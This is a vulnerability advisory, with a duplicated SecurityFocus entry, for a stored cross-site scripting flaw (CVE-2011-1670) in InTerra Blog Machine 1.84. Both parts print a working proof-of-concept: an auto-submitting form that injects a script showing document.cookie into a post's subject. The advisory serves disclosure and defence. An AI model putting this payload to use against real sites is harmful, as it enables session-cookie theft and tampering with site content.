CVE-2011-1670

Vulnerability ID: HTB22931
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_interra_blog_machin
e.html
Product: InTerra Blog Machine
Vendor: InTerra Blog Machine Team ( http://code.google.com/p/interra/ )
Vulnerable Version: 1.84 and probably prior versions
Vendor Notification: 31 March 2011
Vulnerability Type: Stored XSS (Cross Site Scripting)
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "actions/add.php" script to properly sanitize user-supplied input in "subject" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/POST_URL/edit/" method="post" name="main" enctype="multipart/form-data">
<!-- POST_URL like "2011/03/31/post_url" -->
<input type="hidden" name="subject" value='post title"><script>alert(document.cookie)</script>'>
<input type="hidden" name="content" value='content'>
<input type="hidden" name="date[Date_Day]" value="31">
<input type="hidden" name="date[Date_Month]" value="03">
<input type="hidden" name="date[Date_Year]" value="2011">
<input type="hidden" name="time[Time_Hour]" value="13">
<input type="hidden" name="time[Time_Minute]" value="59">
<input type="hidden" name="comments" value="1">
<input type="hidden" name="section" value="0">
<input type="hidden" name="sectionNewName" value="">
<input type="hidden" name="sectionNewUnix" value="">
<input type="hidden" name="sectionNewHidden" value="0">
<input type="hidden" name="replicate" value="1">
<input type="hidden" name="keywords" value="">
<input type="hidden" name="edit" value="POST_ID">
</form>
<script>
document.main.submit();
</script>

source: https://www.securityfocus.com/bid/47104/info

InTerra Blog Machine is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, or launch other attacks.

InTerra Blog Machine 1.84 is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/POST_URL/edit/" method="post" name="main" enctype="multipart/form-data">
<!-- POST_URL like "2011/03/31/post_url" --> <input type="hidden" name="subject" value=&#039;post title"><script>alert(document.cookie)</script>&#039;>
<input type="hidden" name="content" value=&#039;content&#039;> <input type="hidden" name="date[Date_Day]" value="31"> <input type="hidden" name="date[Date_Month]" value="03"> <input type="hidden" name="date[Date_Year]" value="2011"> <input type="hidden" name="time[Time_Hour]" value="13"> <input type="hidden" name="time[Time_Minute]" value="59"> <input type="hidden" name="comments" value="1"> <input type="hidden" name="section" value="0"> <input type="hidden" name="sectionNewName" value=""> <input type="hidden" name="sectionNewUnix" value=""> <input type="hidden" name="sectionNewHidden" value="0"> <input type="hidden" name="replicate" value="1"> <input type="hidden" name="keywords" value=""> <input type="hidden" name="edit" value="POST_ID"> </form> <script> document.main.submit(); </script>